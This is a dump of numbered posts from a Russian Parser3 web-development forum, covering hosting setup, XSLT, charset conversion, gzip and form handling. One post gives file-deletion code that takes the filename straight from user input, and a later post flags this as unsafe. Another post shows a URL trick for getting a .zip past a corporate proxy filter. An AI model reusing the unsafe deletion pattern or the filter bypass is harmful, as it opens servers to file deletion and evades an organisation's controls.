так вот, когда есть доступ, то картинка генерится и отображается, но когда кликаешь на ней и говоришь \"сохранить рисунок как ...\", то файл сохраняется и в него записывается \
\"у вас нет доступа\""
"56607","Проблема: иногда выполнение сторонней программы занимает слишком много времени, пользователь получает таймаут.\
Вместе с тем, для правильной работы приложения, в моем конкретном случае, пользователю результаты исполнения скрипта показывать не нужно. \
Можно ли как-то запустить внешний скрипт таким образом, чтобы парсер не ждал от него результата исполнения?"
"56608","Я это делаю обычно через cron."
"56609","хотя можно сделать таблицу, куда писать, что нужно вызвать.\
и сделать через ежеминутный вызов скрипта исполняющего скрипты указанные в таблице в &background режиме.\
Т.е. юзер нажал линк, в SQL упало - что нужно сделать.\
через минуту вызваный кроном обработчик, исполняет все, что перечисленно в таблице и автоматически ее чистит или помечает записи как исполненные.\
Но такое решение, имхо, выглядит неизящным + нужно хорошо позаботится о безопасности. Как минимум, жестко детерминировать, какие скрипты могут быть исполнены."
"56611","Неужели libxslt стал понимать конструкции XPath 2.0?\
\
для тех, у кого не сработала конструкция:\
[code]\
<xsl:apply-templates select=\"@* except @href\"/>\
[/code]\
\
можно использовать примерно такую, \"старую\", конструкцию:\
[code]\
<xsl:apply-templates select=\"@*[name() != 'href']\"/>\
[/code]\
\
хотя в данном случае, вовсе и не нужен никакой except - последующее присваивание аттрибута перепишет старое значение ;-)"
"56612","Может, есть у кого-нибудь (с поддержкой XML и библиотеками MySQL)?\
Поделитесь, пожалуйста. gregoryfly [at] yandex.ru\
Очень не хочется их исходников собирать. Да и не умею..."
"56614","Могу помочь собрать"
"56615","...но если собирать, то я уж лучше сам. Вот, пытаюсь как раз.\
\
/usr/local/bin/wget: Permission denied\
/usr/bin/make: Permission denied\
\
обидно... ))"
"56616",":)\
Если так , то есть служба поддержки , когдато было подобное и у меня , хостинг на арбатеке был , обратился , помогли..."
"56617","Да ну их...\
У них даже аськи нет. Общение с поддержкой через почту.\
Пока они отвечают, я скрипт на php сделал, который все скачивает :-) \
Сейчас буду придумывать, как с make быть... Наверное, gmake ))"
"56618","у меня есть готовый , только он для FreeBSD 6.1 , могу дать , только там драйвер только для постгреса"
"56619","для FreeBSD 6.1 есть в разделе \"скачать\"\
я пробовал -- не запускается.\
хотя, с этим хостингом и не поймешь из-за чего..."
"56620","А из SSH пробовал запускать , может права на CGIник парсеровский не те?"
"56621","и из SSH пробовал. и права ставил 777...\
\
сейчас дело встало на этапе компиляции из исходников.\
нет прав. хостинг-то виртуальный. права далеко не root..."
"56622","FreeBSD 6.1-STABLE, Apache/1.3.36 (Unix) Parser/3.2.1 модулем.\
Особенность Apache - \
[quote]\
MaxRequestsPerChild 0\
[/quote]\
\
Выполнение сдвига времени\
[code]^_date.roll[TZ;$timezone][/code]\
в любую, отличную от TZ сервера приводит к тому, что этот Apache child теперь живет и работает ИСКЛЮЧИТЕЛЬНО в этой временной зоне пока его его не убивают или кто-то не сдвинет какую-либо дату до нужной (объявленной на сервере) MSK-3MSD.\
\
To PAF: а можно закоммитить исправление http://www.parser.ru/forum/?id=53360 ?\
Немного достает «не забывать» про ^str.lower[]» )"
"56623","auto.p\
[code]\
@conf[filespec]\
$request:document-root[/full/path/to/your/site/document/root]\
[/code]\
\
и узнайте путь как нибудь.\
как вариант:\
\
узнайте полный путь до вашего cgi каталога:\
создайте в текстовом редакторе файл pwd.cgi, залейте его в TEXT mode на ваш хостинг, выставите ему атрибуты executable.\
[code]\
#/bin/sh\
echo content-type:text/plain\
echo\
pwd\
[/code]\
затем обратитесь по адресу\
http://yourserver/cgi-bin/pwd.cgi\
и вы увидите полный дисковый путь к вашему cgi каталогу.\
\
скопируйте и подправьте этот путь, чтобы он был к корню вашего сайта (а не к cgi каталогу), обычно заканчивается на htdocs или www.\
и подставьте в auto.p"
"56626","поэтому проблем не испытываем.\
\
этот несчастный putenv очень плохо переносим, и с ним уже намучались, заставив работать на используемых нами операционках.\
\
кто использует, пусть починит.\
и, если добр, поделится.\
нужно вычитать подробно документацию, очевидно, что-то изменилось в обработке getenv/putenv/setenv.\
вас интересует \"как удалить значение переменной окружения\" ([b]а не как выставить её пустое значение[/b])."
"56627","решил вот так сделать:\
в начале файла /cgi-bin/auto.p внес такие изменения:\
[code]@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
[b]$request:document-root[$confdir/../][/b]\
$charsetsdir[$confdir/charsets]\
$sqldriversdir[$confdir/lib][/code]\
\
и в этом же файле в методе @auto[] указан [code]$CLASS_PATH[/../classes/m_classes][/code]\
\
мои классы лежат так же вне веб пространства, т.е. /../classes/m_classes/\
\
а в корневом auto.p начало такое:\
[code]@USE\
operators.p[/code]\
\
И вот при таком раскладе вроде бы работает, но выскакивает ошибка как в предыдущей моей последней теме, вот что за ошибка:\
\
[b]./lib/libparser3mysql.so[/b]\
driver failed to initialize client library 'libmysqlclient.so', can't open the module\
./..//../classes/m_classes/operators.p(4:2) \
---------------------------------------------\
connect ./..//../classes/m_classes/operators.p(4:2)\
dbconnect /home/[b]имя_сайта[/b]/www/auto.p(74:2)\
body /home/[b]имя сайта[/b]/www/auto.p(8:2) \
\
\
Повторюсь, неделю назад я уже получал письмо от службы поддержки:\
\
[i]Здравствуйте,Нами была произведена замена сервера в свяи с этим возможно и не работает.Вам следует поискать версию парсера скомпилированного под архитектуру amd64 вместо той что используется сейчас.Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.1)[/i]\
\
Что скажете об этом?"
"56628","скажу, что эту ошибку уже обсуждали \"пару раз\". думаю, поиск даст положительный результат.\
\
что до \"скомпилирован под архитектуру\", скажу, что вот тот бинарник, что сейчас вам печатает сообщения, \"под архитектуру\" [b]не[/b] скомпилирован, но это не мешает ему нормально работать в режиме обратной совместимости операционки.\
\
вывод: осталась совсем малость, разобраться с libmysqlclient.so и будет порядок.\
для чего нужно сначала выключить компьютер.\
потом пойти поспать."
"56632","А нет ли возможности реализовать что-то типа\
[code]$sql[^file::load[ddl.sql]]\
^connect[$CS]{\
^void:sql{^taint[sql][$sql.text]}\
}[/code]\
Естественно не как замена LOAD DATA INFILE, а для импорта структуры, таблиц например.\
Преимущества вроде бы есть:\
1. коннект уже есть, не надо порождать новый\
2. уже задан контекст (база данных) в строке подключения\
3. нет возни с дополнительными скриптами (к тому же которые надо под Win/Unix писать разные)\
4. возможно также избавит от дополнительного ковыряния в кодировках (не уверен)\
?"
"56643","Скачал доку в формате chm. Оглавление (или как его там) нормально кажет, но по клику на один из разделов в информационном окне все время: \"Невозможно отобразить страницу Эта страница сейчас недоступна. Возможно, это вызвано техническими проблемами на веб-узле, или требуется изменение параметров обозревателя...\" стандартная IEшная ошибка. Что делать?"
"56644","Народ. Отбой. Разобрался. :) Если кому нужно: в проводнике правой кнопкой мыши на \"свойство\" давишь и там кликаешь на кнопку разблокировать."
"56645","Часто проблема с тем, что содержимое (не оглавление, а содержимое) CHM-ки не отображается случается от того, что CHM открывают с сетевого диска. Стоит перенести на локальный диск - всё работает.\
\
IE иногда слишком печётся о безопасности..."
"56646","Только начал разбираться с парсером. В лог веб-сервера сыпется вот что:\
[code][Thu Nov  2 13:40:38 2006] [35591] Parser/3.2.1sp2 (compiled on i386-unknown-freebsd4.10)[/code]\
\
Это что значит нужно самому из исходников собирать?"
"56648","Мы из сети своей организации не можем качать файлы с двойным расширением, http://www.parser.ru/f/1/download/redhat/parser3_2_1_redhat73_cgi_xml.tar.gz, к примеру."
"56649","В первую очередь просьба - к [i]Sikoz[/i] и [i]G100m[/i], которые занимались этим вопросом.\
\
Пожалуйста, поделитесь кодом клиентской части OpenID на Парсере. Возникла необходимость сделать вспомогательный сервис для одного хорошего сообщества в LiveJournal. Библиотеки на официальных сайтах стандарта очень тяжеловесны для расковыривания - при том, что нужен простейший функционал. Фактически нужно знать, с каким ЖЖ-пользователем я имею дело.\
\
Заранее большое спасибо."
"56650","но тоже с подобным встречался.\
там не пускали .zip архивы!\
помнится преодолел так:\
http://server/file.zip?/file.txt\
\
(тот глупый proxy перестал приставать и файл запросто скачался)"
"56651","то, что вы видите это, означает, что при обращении к странице\
http://server/cgi-bin/parser3.cgi\
ваш parser успешно запустился и успешно записал строчку в журнал.\
\
переходите к следующему шагу установки."
"56652","прямо отдаёшь буфер большой с ;-разделёнными командами и получаешь удовольствие.\
но это не правило, а исключение. скажем, в oracle OCI так нельзя.\
\
вывод1: если делать, то делать нужно в общем виде, и придётся вручную разбирать sql запрос, чтобы выяснить, знак «;» это часть запроса [code]create table ... default 'Так не&nbsp;делайте никогда!')[/code], или разделитель.\
\
а это неразумно.\
\
вывод2: если хочется выполнить [b]свои[/b] DDL запросы, и известно, что все «;» в файле, это разделители, то 5-10 строчек и дело в шляпе."
"56654","У меня тоже сервер там стоит. И?\
Кстати РТкомм всегда предупреждает о работах на линии."
"56656","Спасибо за пояснение. Пока непривычен Parser. Я до сих пор использовал в качестве парсера шаблонов Smarty (http://smarty.php.net) у него конечно есть ряд проблем (с безопасностью в основном), но я считаю что он очень удобен как для программистов, так и для вевстальщиков шаблонов. Пока очень непривычно с Parser работать, особенно путаница у меня в голове наблюдается со всякими ^ @, но это временно :)."
"56657","стою перед выбором: использовать parser для быстрой разработки сайта и потом руками вносить правки, прежде чем напишу админку; или использовать тот движок, что у меня уже написан на php, добавив в него поддержку и разбор строки запроса.\
\
Допустим, надо реализовать модуль новостей, чтобы адрес каждого дня новостей был читабелен и прост: www.mysite.ru/news/2006/11/22/\
\
На php это делается разбором строки запроса и выбором нужных данных из базы.\
На parser'е я попробовал более дубовый метод (первый пример из мануала): создал директорию news, в ней создал папки 2005 и 2006, в них - соответственно месяцы. Но так можно двигаться до бесконечности...\
\
Мне очень интересно, как сделано на сайтах, использующих parser: есть некий скелет в виде вложенных директорий до определенной глубины (например до месяца), либо есть один большой сложный файл в папке /news, обрабатывающий весь запрос самостоятельно. Но как тогда решить проблему существования директорий: ведь снаружи должно казаться, что такие папки реально существуют...\
\
Окончательно запутался :)"
"56661","да, mod_rewrite - вариант правильный и грамотный!\
\
но с parser появляется возможность создания вложенных папок, в которые копируется однотипный файл index.p3 с кодом запроса в базу данных. так кто-нибудь делал? я подумал, что для быстрой разработки несложных сайтов, которые будут редко обновляться, такой вариант в силу простоты подходит лучше... isn't it? :)"
"56662","Хотя почему бы и нет - кладите в папки auto.p а в них - максимально простой код, что-то типа\
\
@auto[]\
^основной_обработчик[]\
\
не проверял, но должно сработать"
"56663","А обосновано ли это? Вот в чем вопрос. Делал ли кто-нибудь такой финт?\
\
И вообще, стоит ли по-хорошему переходить (иногда или насовсем) со связки PHP+Smarty на Parser?"
"56664","создавать кучу каталожек и файликов, пусть даже содержащих одну строчку - решение для [b]не[/b] ленивых, а большинство здесь присутствующих достаточно ленивы, поэтому им проще сделать иначе :)\
\
P.S. в случае с парсером при создании нового каталога для года/месяца в него вообще достаточно положить файлик с одной строчкой '@dummy[]', а все остальное вызывать из одного файла auto.p, который положить в самый верхний новостной каталог (читайте в доке про обрабтку запроса и метод @main[]). тем не менее это все равно подразумевает создание кучи каталогов/файлов, что с моей точки зрения - плохо."
"56666","значит, все же mod_rewrite?\
\
например, при запросе www.site.ru/news/2006/04/22, mod_rewrite отрезает название сайта и берет первый кусок до слеша (news/) - это будет название модуля (и папки с модулем), а остальное передает в модуль как параметр?\
\
т.е. разбирает, что такое /news/2006/04/22 и превращает это в /news/?y=2006&m=4&d=22, а в /news лежит index.p3, который запрашивает в базе нужные данные. так? :)"
"56668","Есть сайт. Понадобилось на этом сайте выводить немецкие символы, но при этом там могут быть и русские.\
Решил переехать на юникод полностью. Для этого надо отконвертировать все исходники из 1251 в UTF-8.\
Есть способы это быстро и безболезненно сделать?"
"56669","[code]\
@main[]\
$iCount(0)\
^goDir[]\
Total $iCount files were converted.\
\
\
@goDir[sDir][tList]\
$tList[^file:list[$sDir]]\
^tList.menu{\
	^if(-d \"$sDir/$tList.name\"){\
		^goDir[$sDir/$tList.name]\
	}\
	^if(-f \"$sDir/$tList.name\"){\
		^convert[$sDir/$tList.name]\
	}\
}\
^memory:compact[]\
$result[]\
\
\
@convert[sFileName][fFile]\
$request:charset[windows-1251]\
$fFile[^file::load[text;$sFileName]]\
$request:charset[UTF-8]\
^fFile.save[text;$sFileName]\
^iCount.inc(1)\
$result[]\
[/code]\
\
P.S. не проверял %-)"
"56670","парсер не умеет работать с бинарными данными."
"56675",">И вообще, стоит ли по-хорошему переходить (иногда или насовсем) со связки PHP+Smarty на Parser?\
\
Не стоит - проблем будет больше, а функциональность у PHP больше, чем у Parser."
"56677","Задача такая.\
Хочу передать Gzip-у в stdin некие данные получить от него в упакованном виде в stdout ну и что то дальше с ними сделать (например сохранить в файл или $response:download).\
Пишу:\
[code]@main[]\
$string[Строка для упаковки, произвольного размера]\
$file[^file::exec[gzip;$.stdin[$string];-c3]][/code]\
\
Запускаю. Парсер дергает гзипа и ждет...\
Смотрю в менеджере процессов parser есть, gzip тоже запущен и ничего не делают. Приходится kill process... :(\
\
В чем может быть проблема? Почему gzip ничего не возвращает?\
\
WinXP"
"56678","Если файлов действительно много, то написать дополнительно sh-файл. Если мало - то список x.html > y.html можно составить и вручную (ls)."
"56681","но по-моему ему надо путь к файлу передать, а не строку. Попробуйте вашу операцию в шелле повторить, что будет?"
"56682","[quote]Хочу передать Gzip-у в stdin некие данные получить от него в упакованном виде в stdout ну и что то дальше с ними сделать (например сохранить в файл или $response:download).[/quote]\
\
когда-то делал что-то подобное (сжатие ответа с возможностью кеширования), даже класс недоделанный где-то валяется. Было несколько неприятных моментов:\
\
1. как уже заметил Eugene, передать данные на сжатие напрямую возможности нет, по крайней мере документированного способа я в свое время не нашел, пришлось записывать данные в файл и уже этот файл обрабатывать гзипом.\
\
2. после сжатия исходный файл удаляется с диска, и изменить такое поведение на сколько я помню не представляется возможным. Хорошо это или плохо - зависит от ситуации, в моем случае пришлось сохранять несжатый файл повторно.\
\
3. данные в файл сохраняются в кодировке, заданной в $request:charset. В моем случае в $request:charset было UTF-8 а в $response:charset однобайтовая кодировка, следовательно после передачи сжатого ответа в браузер приходила куча мусора. Финт ушами со сменой $request:charset на лету (похожий на [url=\"http://www.parser.ru/forum/?id=56669\"]предложенный Мишей[/url] тредом ниже) у меня не прокатил, хотя, возможно я что-то неправильно сделал. Пришлось менять $request:charset на аналогичный в $response, а данные из базы перекодировать при получении.\
\
Вроде были еще какие-то грабли, сейчас уже всего не припомню. \
Правда в конечном итоге заработало, но потом пришлось все это дело упразднить, и в продакшн оно так и не попало..."
"56683","... делать такие вещи силами веб-сервера. Например, на Апаче очень хорошо работает mod_deflate."
"56684","я, собственно, оттудова всю логику и срисовал, когда делал.\
\
Просто мне нужно было не столько \"сжатие на лету\" сколько \"сжатие с возможностью кеширования\", плюс возможность работы с Apache 2. Потом правда на досуге поразмыслил, и решил без серьезных причин на спичках не экономить...\
\
Кстати еще можно посоветовать nginx от того же автора, например в режиме проксирования, оно правда без кеширования но сжатие по идее должно работать..."
"56685","Есть таблица пользователей, и несколько таблиц-справочников для этих самых пользователей. Задача: выдать весь список пользователей с соответствующими значениями из справочников. Реализуется всё с использованием объектно-ориентированного подхода. Также необходимо уметь редактировать записи из справочников и записи пользователей.\
\
Есть два варианта. Первый: один запрос заполняет поля объектов \"снаружи\" (как в классах-фабриках PHP). Второй: для каждой таблицы выполняется по запросу, результаты кладутся в хэши, а объединение выполняется кодом Парсера.\
\
Вопрос: какой из путей выбрать для реализации с точки зрения идеологической и с точки зрения удобства модификации кода и расширения функциональности?"
"56686","[code]<news>\
	<title>...</title>\
	<lead>Текст <a href=\"link\">ссылка</a> текст</lead>\
</news>[/code]\
\
Как сделать, чтобы текст в [code]<lead></lead>[/code] отображался как обычный html. У меня парсер не выводит тег [code]<a></a>[/code], а если заключаю текст в [code]<![CDATA[текст]]>[/code], выводит его как есть, вместе с [code]<a></a>[/code].\
\
Как это можно реализовать.\
XML обрабатываю шаблонами XSl.\
\
Помогите:)"
"56688","Вот код:\
[code]^if(def $form:n){\
	^if($num is int){\
		^if($form:n<100){\
			$n[$form:n]\
		}{\
			$n[100]\
			<p class=\"x-small\">Больше, чем 100 фотографий, показать не получится. А $form:n &mdash^; это явно больше.</p>\
		}\
	}{\
		<p class=\"x-small\">В поле ввода должно быть число.</p>\
	}\
}[/code]\
\
Почему не зависимо того, число в поле формы или текст, все время выводит что в поле ввода должно быть число?\
Если тут где-то ошибка, то как сделать чтобы при неправильном типе переменной в форме парсер не выдавал ошибку, а аккуратно подписывал около формы, что надо вводить число?"
"56690","Из формы приходит строка. Надо сделать ее числом.\
\
[code]\
^if(^form:n.int(0)){\
	^if($form:n < 100){\
		$n($form:n)\
	}{\
		$n(100)\
		<p class=\"x-small\">Больше, чем 100 фотографий,\
		показать не получится. А $form:n &mdash^; это явно больше.</p>\
	}\
}{\
	<p class=\"x-small\">В поле ввода должно быть число.</p>\
}[/code]\
\
Можно переписать по-другому:\
[code]^if(^form:n.int(100) < 100){\
	$n($form:n)\
}{\
	^if(^form:n.int(0)){\
		<p class=\"x-small\">Больше, чем 100 фотографий,\
		показать не получится. А $form:n &mdash^; это явно больше.</p>\
	}{\
		<p class=\"x-small\">В поле ввода должно быть число.</p>\
	}\
}[/code]\
\
Учтите, что если $form:n = 0, то в вышеприведенных примерах это будет означать, что ввели не число. Поэтому, можно изменить это условие следующим образом:\
[code]# если вас не интересуют отрицательные значения\
^if(^form:n.int(-1) < 0){В поле ввода должно быть число}[/code]\
\
Еще один, более грамотный вариант:\
[code]^try{ \
   ^if($form:n < 100){\
		$n($form:n)\
	}{\
		<p class=\"x-small\">Больше, чем 100 фотографий,\
		показать не получится. А $form:n &mdash^; это явно больше.</p>\
	}\
}{\
	^if($exception.type eq \"number.format\"){\
		$exception.handled(true)\
		<p class=\"x-small\">В поле ввода должно быть число.</p>\
	}\
}[/code]"
"56691","Спасибо:)"
"56693","mod_deflate, как и mod_gzip могут быть неустановлены на хостинге и доступа к конфигу апача может также не быть. Так например на Зеноне.\
\
как быть тогда?"
"56694","W:\\gzip>gzip -h\
[code]gzip 1.2.4 Win32 (02 Dec 97)\
usage: gzip [-acdfhlLnNrtvV19] [-S suffix] [file ...]\
 -c --stdout      [b]write on standard output[/b], keep original files\
file...  files to (de)compress. If none given, [b]use standard input[/b].[/code]\
\
Из чего следует что с STDIN и STDOUT он работать умеет.\
\
На Юниксе например такой финт:\
[code]gzip > str.gz [/code]\
приводит к тому, что gzip ожидает ввода с клавиатуры после чего (^Z) возвращает в файл сжатый введенный текст."
"56695","... mod_deflate уже встроен, насколько я помню. Да и всякие mod_cache имеются."
"56696","Я, например, поэксперементировав с mod_deflate и прочими \"вкусностями\", просто выключил их на большинстве серверов."
"56697","Сжатие http-ответа ну никак не могу назвать экономией спичек.\
Допустим средний размер страницы 50К. Сжатой  - 15К запросов примерно 1000. Разница получается неслабой. Тем более что мне это нужно для ресурса на который часто ходят по модемным соединениям со всей страны, и о них тоже надо думать."
"56698","Тем более, что есть более грамотные методы сокращения размеров страниц (речь о грамотной верстке с учетом мтандартов). Боюсь, что накладные расходы на запуск внешнего gzip'а превысят \"задержку\" у модемщиков."
"56699","идея была такая - я сжимаю ответ один раз и кеширую его (mod_deflate отдыхает), во всех последующих случаях выдавая закешированный ответ (в таком случае накладные расходы на вызов внешнего gzip минимальны). Причем если клиент не удовлетворяет определенным условиям, я отдаю ему несжатый вариант (mod_cache отдыхает тоже)."
"56700","Как сделать чтобы при нажатии на кнопку(ссылку) выполнялся код parserа. Например мне нужно чтобы при нажатии на кнопку(ссылку) происходило удаление файла, или очистка строки из бд. Не понимаю как связать нажетие на кнопку и код парсера подсажите плз."
"56701","Код парсера работает на сервере. \
На ссылку кликают в браузере. Если при этом происходит запрос новой страницы, то этот запрос можно обработать на сервере и выполнить нужные вам действия, например\
\
[code]<html>\
<body>\
<a href='/test/?action=delete'>\
</body>\
</html>\
\
\
[/code]\
При клике на ссылке происходит обращение к серверу, на страницу /test/index.html?action=delete\
\
В index.html можно написать\
[code]@main[]\
^if($form:action eq 'delete'){\
Код, который что то делает (например удаляет файл)\
}\
\
[/code]\
\
Пример не претендует на точность"
"56702","[code]\
<form method=\"post\">\
<input type='hidden' name='action' value='delete'/>\
<input type='text' value='' name='filename'/>\
<input type='button' name='submit' value='Удалить'/>\
</form>\
^if(def $form:action && $form:action eq 'delete'){\
   ^try{\
      ^file:delete[$form:filename]\
      Файл '$form:filename' удален.\
   }{\
      $exception.handled(1)\
      Не могу удалить '$form:filename'.\
   }\
}{}\
[/code]"
"56703","Не надо передавать имена файлов через форму! В крайнем случае можно использовать что-то подобное:\
[code]^file:delete[/путь_к_хранилищу_файлов/^file:basename[$form:filename]][/code]"
"56704","Прислал бы если бы знал Си :(\
\
А вообще шансы еще есть, что будет?"
"56707","Не надо это убирать, хотя бы ради динамики. В js и многих других языках есть возможность динамически создавать класс прямо в коде (вместе с функциями) и все ею пользуются. Примерно так:\
a = new class;\
a._data = new array();\
a.create = function(arg);\
... и пошли заполнять. Красиво и читаемо. \
Естественно, по большей части это переносится в отдельные куски кода - но не в отдельные файлы (хотя, к примеру, для js это более оправдано в плане скорости загрузки при keep-alive и распараллеливании запросов броузером) - но ведь нет, обычно работают с ОДНИМ файлом.\
\
В парсере тоже зачастую удобны мелкие классы под конкретные задачи. Вот пример:\
[code]@CLASS\
color \
@create[c_a;c_b]\
$a[$c_a]$b[$c_b]$current[$a]\
@print[]\
$result[$current]^if($current eq $a){$current[$b]}{$current[$a]}\
[/code]\
Динамический класс однозначно удобнее чем оператор, но смысла класть его в отдельный файл нет ввиду размера - лучше поместить в библиотеку операторов.\
\
Я уж не говорю о наследованиях, когда они создаются только под конкретные задачи в одном логическом окружении. При отсутствии поддержки ^класс:$метод[] - это как нельзя более актуально. \
\
Во всех перечисленных случаях, если стоит выбор между классом в файле или оператором в группе, удобство и лень выберут несколько операторов в одном файле. И объектно-ориентированный подход останется только для задач из учебника вроде ^forum:display[]. Тогда получается, что объектность Парсера нужна только для создания пространств имен - но разве это правильно?"
"56708","код удаления должен выполняться до кода вывода формы с данными, чтобы не делать перезагрузку дважды:)"
"56709","Поставил auth.p, и у технического директора возникли вопросы по схеме восстановления пароля:\
\
1. Почему нельзя выслать новые пароли для всех логинов с данным email'ом? Если это запрещено по соображениям безопасности, почему бы не запретить регистрироваться с уже существующим email'ом (т. е. сделать его уникальным полем).\
\
2. Почему нельзя выслать новый пароль на основе логина (без email'а)?"
"56710","представьте, я зайду в форму восстановления пароля, введу ваш логин и вам на почту сразу приходит новый пароль. Вы в это время идете на форум, вводите старый пароль, а он уже не подходит..."
"56711","Если Вы получили новый пароль, который не заказывали, можно спокойно пользоваться старым. См. исходники класса."
"56712","возможно, я просто не понял в чем суть просьбы вашего коллеги..."
"56713","... [url=\"http://ru.wikipedia.org/wiki/%D0%9A%D0%BB%D0%B0%D1%81%D1%81_%28%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5%29\"]есть даже мнение[/url] что javascript является [i]безклассовым[/i] объектно-ориентированным языком.\
\
На счет нескольких классов в одном файле — imho действительно удобно, особенно когда они мелкие, правда когда PAF намекнул что поведение может в будущем измениться я испугалсо, и сразу раскидал все по разным файликам... теперь придется обратно собирать? ;)"
"56714","Нужно перекодировать строку из кодировки UTF-8 в Windows-1251. Про автоматическую перекодировку парсером знаю. Но как перекодировать строку?\
\
P.S. Строка будет вставляться в форму."
"56726","После установки ланного приложения и запуске в браузере (http://localhost/), на экран выводится такое:\
[code]\
В работе Parser произошла ошибка:\
\
can't connect to mysql server on 'localhost' (10061)\
Ошибку вызвал этот фрагмент:\
mysql:/****@localhost/parser \
Ошибка произошла при работе с файлом:\
\
/classes/standard/sql/sql.p, строка номер 76\
Что обычно приводит к ошибке «sql.connect»?\
\
сервер баз данных не может быть найден или временно недоступен или же ему просто не нравятся ваши логин с паролем.\
Последовательность операций, которая привела к ошибке:\
(от самой последней вверху списка до самой первой внизу) \
connect в файле /classes/standard/sql/sql.p, строка 76 \
inc в файле /classes/standard/sql/sql.p, строка 76 \
server в файле /auto.p, строка 54\
[/code]\
\
как исправить?"
"56727","ну к примеру:\
[code]\
# где-то\
$tDecode[^table::create{from	to\
%u2116	№\
%u0430	а\
%u0431	б\
%u0432	в\
%u0433	г\
%u0434	д\
%u0435	е\
%u0451	ё\
%u0436	ж\
%u0437	з\
%u0438	и\
%u0439	й\
%u043A	к\
%u043B	л\
%u043C	м\
%u043D	н\
%u043E	о\
%u043F	п\
%u0440	р\
%u0441	с\
%u0442	т\
%u0443	у\
%u0444	ф\
%u0445	х\
%u0446	ц\
%u0447	ч\
%u0448	ш\
%u0449	щ\
%u044A	ъ\
%u044B	ы\
%u044C	ь\
%u044D	э\
%u044E	ю\
%u044F	я\
%u0410	А\
%u0411	Б\
%u0412	В\
%u0413	Г\
%u0414	Д\
%u0415	Е\
%u0401	Ё\
%u0416	Ж\
%u0417	З\
%u0418	И\
%u0419	Й\
%u041A	К\
%u041B	Л\
%u041C	М\
%u041D	Н\
%u041E	О\
%u041F	П\
%u0420	Р\
%u0421	С\
%u0422	Т\
%u0423	У\
%u0424	Ф\
%u0425	Х\
%u0426	Ц\
%u0427	Ч\
%u0428	Ш\
%u0429	Щ\
%u042A	Ъ\
%u042B	Ы\
%u042C	Ь\
%u042D	Э\
%u042E	Ю\
%u042F	Я\
%20	^#20\
%21	!\
%22	\"\
%23	#\
%24	^$\
%25	%\
%26	&\
%27	'\
%28	(\
%29	)\
%2B	+\
%2C	,\
%3A	:\
%3B	^;\
%3C	<\
%3D	=\
%3E	>\
%3F	?\
%5B	^[\
%5C	\\\
%5D	^]\
%5E	^^\
%60	`\
%7B	^{\
%7C	|\
%7D	^}\
%7E	~\
%0D%0A	^taint[^#0A]\
%0D	^taint[^#0A]\
%0A	^taint[^#0A]\
%09	^taint[^#09]\
}]\
\
# само декодирование\
@decode[sText]\
$result[^taint[^sText.replace[$tDecode]]]\
[/code]\
для прочих преоразований и символов соответссно использовать другие таблицы преобразований"
"56728","Очень боюсь, что поведение изменится. \
Насчет new class - я просто С-подобный пример привел, это не принципиально"
"56729","При обращении к тестовой странице _test.html получаю сообщение:\
[code]Parser/3.2.1sp2 (compiled on i386-unknown-freebsd6.2)[/code]\
\
Команда\
[code]# /path/to/parser3 _test.html[/code]\
отрабатывает нормально, без Unhandled exception.\
\
Настройка CGI module в конфиге lighttpd:\
[code]\
cgi.assign = ( \".html\"  => \"/usr/local/parser3/parser3\",\
               \".pl\"     => \"/usr/bin/perl\" )\
[/code]\
\
Кто-нибудь сталкивался с подобным?"
"56730","появляется надпись \"Apache работает, MySQL [b]остановлен[/b]\"?"
"56732","Нужно раскрасить каждую нечётную строку. А сейчас у меня раскрашивает, только каждый нечётный столбец :(\
Ошибка тут \"position() mod 2 = 1\", но я не знаю, как указать не текущий, а предыдущий перебор...\
Поможите, люди добрые.... :)\
[code]<xsl:for-each select=\"/page/items/r\">\
	<tr>\
		<xsl:for-each select=\"c\">\
			<td bgcolor=\"#FFFFFF\">\
				<xsl:if test=\"position() mod 2 = 1\"><xsl:attribute name=\"bgcolor\">#EEEEEE</xsl:attribute></xsl:if>\
				\
				<xsl:value-of select=\".\" disable-output-escaping=\"yes\"/>\
			</td>\
		</xsl:for-each>\
	</tr>\
</xsl:for-each>[/code]"
"56733","...где здесь проверка на уникальность:\
\
[code]^if(\
	def $sEmail\
	&& !^isEmail[$sEmail]\
){\
	^addErrorCode[email_wrong]\
}[/code]"
"56734","Скачал для FreeBSD 6.1 . Проблема несовместимости или я что-то не то сдалал?\
\
В логах \"Premature end of script headers: parser3.cgi\"\
На странице \"Internal Server Error\"\
Закачал правильно, права выставил. Ничего не помогает :("
"56736","да. она самая :("
"56740","В dreamweaver пробую и получаю:\
XPathParserException: '{0}' is an unknown node type. expression = '../position() mod 2 = 1' Remaining tokens are: ( 'position' '(' ')' 'mod' '2' '=' '1') (Untitled-1.xsl, line 43, column 44)\
пробовал и так:\
../../r[position() mod 2 = 1]\
Но тоже напрасно... поэтому и спрашиваю..."
"56741","Я не сомневаюсь, что написать нужный xPath возможно. Но зачем, если можно сделать проще и грамотнее.\
\
[code]<xsl:for-each select=\"/page/items/r\">\
	<tr>\
		<xsl:if test=\"position() mod 2 = 1\">\
			<xsl:attribute name=\"class\">odd</xsl:attribute>\
		</xsl:if>\
		<xsl:for-each select=\"c\">\
			<td>\
				<xsl:value-of select=\".\" disable-output-escaping=\"yes\"/>\
			</td>\
		</xsl:for-each>\
	</tr>\
</xsl:for-each>[/code]\
\
CSS:[code]td{background: #FFF}\
.odd td{background: #EEE}[/code]\
\
А еще в XSLT есть переменные."
"56744","а возможно ли запустить Apache_Swissknife с БД которая была установлена ранее на компе, а не с той, которая идет в комплекте?"
"56745","Задайте в секции [MySQL] файла c:\\Apache_Swissknife\\settings.ini пути к установленому ранее MySQL. Используйте mysqld-opt.exe версию MySQL, чтобы Swissknife правильно понимал текущий статус его работы (запущен/остановлен).\
\
А если вам нужны только прежние базы — поместите их в c:\\Apache_Swissknife\\Вебсервер\\mysql\\data\\."
"56746","Да, я тоже думал задать стили для TR, но вопрос с position не решился, а это может пригодиться в других случаях...\
Да, можно решить и переменными, но мне тоже кажется, что можно проще - в XPath..."
"56747","[code]\
<tr>\
	<xsl:attribute name=\"bgcolor\">\
		<xsl:choose>\
			<xsl:when test=\"position() mod 2 &gt; 0\">white</xsl:when>\
			<xsl:otherwise>red</xsl:otherwise>\
		</xsl:choose>\
	</xsl:attribute>\
...\
</tr>\
[/code]"
"56748","Вообщем тема такая. Если пишу:\
[code]\
@script[]\
<script>alert('ok');</script>\
